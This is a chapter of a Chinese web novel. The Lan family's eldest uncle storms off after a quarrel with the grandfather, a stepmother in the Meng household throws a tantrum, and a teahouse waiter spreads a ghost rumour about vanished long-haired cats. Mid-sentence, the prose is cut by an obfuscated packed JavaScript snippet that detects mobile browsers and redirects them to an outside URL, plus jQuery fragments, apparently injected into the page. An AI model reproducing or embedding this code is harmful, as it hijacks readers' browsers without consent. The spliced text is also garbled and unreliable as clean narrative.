一大清早,兰融是被吵架声吵醒的。
院子里几道声音交织在一起,越吵越响。
兰融揉揉眼睛,把脑袋拱到被子里,撅着屁股想继续睡觉。
昨天为了把干虾磨成粉,众人一直忙到了深夜。
历经一个月的时间,虾仁的数量已经消耗下去一多半,也多亏了这些虾肉,让兰家的酱料风味更胜一筹。
院子里的声音越来越响,兰融睁大眼睛瞪着门,身侧的兰重也醒了,他皱着眉头一言不发。
门此时被推开,石香楠沉着脸从屋外回来,看见两个孩子已经起来了,她连忙换成了笑模样,一边伸手给两个孩子套外套,一边交代道:“你们两个乖乖呆着,先不要出门,在屋里等着。”
说完,便又急匆匆走出门。
兰融两人听着声音由远及近,越来越清晰,果断光脚跳下床,趴到了门口侧耳倾听。
外面争吵得激烈,但又明显压抑着怒火。兰融听一句,就迫不及待跟兰重分享一句:
“大伯和爷爷吵起来了!”
“大伯说,爷爷就是爱面子,分不清里外拐,家里挣点钱让他知道就得全给赔进去。”
“爷爷说大伯往外走两趟就不记得自己还是村里人,就是家里亲戚才顶事!”
“大伯说他把族谱掘地三尺都找不出来这些亲戚的名字,还说爷爷眼光差。”
“爷爷生气了,吼的啥我没听清。”
“大伯说,小五,小五,起来,咱们走!”
兰重........
“我听到了。”
坐在床边跟站在门口,听见的声音根本没有多大差别。
兰老大的话音刚落,兰融迅速开门登场,小甜嗓高声道:“我来啦!”
兰老头不可置信地看向兰融,眼神活脱脱像在说:你个小叛徒!
他捂住胸口,大吼出声:“都走!都走!有本事你们就别回来!”
兰老大火气又被拱上来,连车都不带了,一甩膀子把兰融扛起:“不回就不回!”
说完头也不回地快跑出去。
一旁石香楠反应过来,手中的抹布啪叽一声掉在了地上,她连忙追上去,冲着兰老大的背影喊:“大伯,大伯!你早些带着融融回来!”
那是我闺女!又不是你闺女!你扛着我闺女去哪啊?!
被扛在肩上的兰融翘起脑袋,一只手冲着石香楠挥舞,咧嘴冲她直乐。
兰老大带着兰融走到村口,并没有直接去县里,反倒拐去了孟石头家。
孟石头被叫出来的时候还没醒神,他揉着眼睛问:“哥,今天不说歇一天嘛?”
兰老大随口扯了一个借口:“得去县里补补货。”
孟石头虽然不明所以,还是收拾利索出发了。
他们不知道的是,他们走后,孟老爹后娶的婆娘常氏瞅着三个人走远的背影,转身就去找孟老爹:“他爹,你瞅瞅,兰家老大又来找石头了!”
孟老爹随口嗯了一声。
常氏缠着孟老爹的半边胳膊,跟他小声商量:“你说,石头那么憨的孩子都能跟着一起,咱家的木头是不是也能行?”
孟老爹依旧只回答一个嗯。
常氏用手指照着孟老爹腰间的软肉狠狠来了一下,疼得孟老爹嗷嗷捂着腰直叫。
可即便如此,孟老爹依旧哼哼哈哈,就是不给常氏一个承诺。
她盘腿坐在院子中央的泥土地上,双手拍打着地面,扬起细细的尘土,原本梳理整齐的头发也散乱了几缕,粘在涕泪纵横的脸上。
她一丁点都不惜声,高高的嗓门坐着院子里就开始撒泼,也不管会不会丢人:“哎呦!我的命苦啊!我的命咋就这么苦啊!”
声音又尖又利,穿透了清晨薄薄的雾气:“我年纪轻轻就给人填房做小,拉扯个五岁大的娃十几年,当牛做马,伺候老的照顾小的,也不见这没良心的把我当成亲娘孝敬哇!老天爷啊,你开开眼啊!”
孟老爹想伸手去拉,却被尝试一把甩开,他羞红一张脸低吼:“你给我滚起来!”
可常氏哪里肯听,哭嚎得更加起劲。“我给你家当牛做马这么多年!里里外外,哪样活儿少了我?如今不过是看木头老实,想让他跟着石头混混,将来也好有口饭吃,你都不肯应!木头到底还是不是你亲儿啦?石头他如今翅膀硬了,连拉扯兄弟一把都不肯,你个当老子就要眼睁睁看着你小儿子去要饭!”
孟老爹心烦意乱,不断踱步,最终妥协道:“你快起来,莫要再喊了!我说,我跟石头说还不行吗!”
常氏得到了准话,这才破涕为笑。
孟老爹又补充道:“你也得有个数,那几个孩子从小都是一块混玩在一块的!木头跟人家都差着岁数呢!”
常氏又要开口嚎,却被孟老爹开口训斥:“行啦!你也别在这嚎了!早知道这样,当初石头说亲的时候,你给他留点东西,也不至于石头和木头见面连句话都不说!”
常氏红了眼,满脸不可思议:“你怪我?你竟然都怪到我头上?!你个没良心的老东西,若不是你疑心他,不想让他占了家里的地,哪里又轮得到我来说这话!”
孟老爹原本还正常的表情立马扭曲起来,一手提起常氏的脖领子,冲她低声怒斥:“你把这话给我憋到肚子里去!再让我听到一次,我掐死你!”说完,他把常氏一只手甩出去,砰的一声把厨房门砸上,激起了一地尘土。
坐在地上的常氏唇角浮现起一丝讥讽的嘲笑,冷哼一声,慢悠悠地起身,拍拍袖子上的泥土,没事人一样起身去井边提水。
再说兰老大一行人,今日他没有心思跟俩人吹牛侃大山,一路上都没怎么讲话,哪怕是一贯憨憨的、从不看人脸色的孟石头都觉出不自在来,却不知道如何开口问。
这种僵持的气氛直到北市的茶肆前才结束。
今日兰老大还真想打听干虾仁的价钱,之前他在西市和南市的店里并没有见到,后来偶尔听人说北市可能有,他就上了心。正巧今日过来看看。
众人坐在茶肆前歇脚,却听周围人时不时的惊呼出声。兰老大看见过来倒茶的店小二,也是万分稀奇地发问:“今日怎地如此热闹?”
店小二见到有客官发问,迫不及待地跟几人分享起来:“客官有所不知,咱们宛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997271|192942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丘县昨日可是出了一个奇闻!昨日早上,有一蒙面男子,去到了北市猫狗行的店中行骗,引得数只雪团团不翼而飞!”
雪团团是猫狗行里,对长毛的狮子猫的美称。
兰老大不解道:“这怎么能算是奇闻呢?”
上九流有上九流的行当,下九流有下九流的生意。这种行骗的小事,怎么样也不能说‘奇’吧?
店小二神秘兮兮说道:“这人要是骗的店家,只能算店家倒霉!此人骗的却是雪团团。”
三人好奇地询问,这又是如何骗到的?
店小二感慨:“此人一进店中,店中的猫儿都跟中了邪一样,靠在那人身上、腿上,怎么拉都不肯走!店家开始只以为此人于猫儿有缘,虽说看他穿着怪异,而且是敷面前来,总觉有异。但看到猫儿如此亲近此人,只当他有什么难言之隐,并未多问。”
“待店家将贴着他的猫抓回笼中时,却有一只雪团团从笼中挣脱而出,直接往那人身上爬。那人像是受惊了一样,转身就跑,没来得及进笼子的几只雪团团跟着那人一块跑走了。”
兰融越听越奇怪,她小声糯糯地开口:“这许是意外吧?”
店小二却说:“要是那人事后再回店中,还算意外。当时,店家追着那人到了街上,一个闪身,那人就消失了!”
“消失了?”
店小二点头:“对!那条街是扩出来的新街,没几间铺子被赁出去!店家找了许久,都没见到人影,那些未开张的铺子也俱是大门紧闭。猫狗行的店家认定了这就是骗子行骗,可私下都在传,那人不是人,是...鬼!都说猫儿通灵,你们说,会不会是跟着那敷面鬼跑了?”
若有所思的兰融表情逐渐变得古怪,她装作不经意的开口:“那店家把所有店铺都找了?不会是搜寻的时候浪费太多功夫,让那贼人跑了吧?”
店小二看兰融年纪小,还分析得煞有介事的样子,冲她摇摇头,以一种过来人的口吻说道:“嗨!那条街上统共就四家没开门的店铺,一家脂粉店,一家衣料行,一家银楼,一家首饰店,这四家还都是连在一起的,门都是紧紧关上的!剩下的地方一眼就看到头了,连个遮挡的地方都没有,定是那...鬼,把猫儿捉跑啦!”
得,这回到是不用问到底都是什么店铺了,此时兰融深觉这小哥有写志怪话本的潜质,最开始还说是骗子,现在已经成了敷面鬼。
听完小二的话,有怪异感觉的不仅仅是兰融,连带着兰老大的神情都变得扭曲起来。
他怎么觉得这事,越听越熟悉了?
倒是孟石头跟着店小二的话连连惊呼,还加了点自己的巧思:“没准那就是个大的雪团鬼,变成人形带着小雪团团逍遥去了!”
店小二一副跟孟石头相见恨晚的神情,又殷勤地给他倒了一杯茶:“没准儿就是这样!还可能是那些雪团团的娘亲,舍不下自己的孩子,幻化出人形来找他们来了!”
俩人越说越觉得有可能,双双点头,作为自己分析出真相的鼓励。
当天下午,一则新的谣言传进了宛丘县的家家户户,题目就叫:枉死狸奴凝精气,幻化人形救儿女。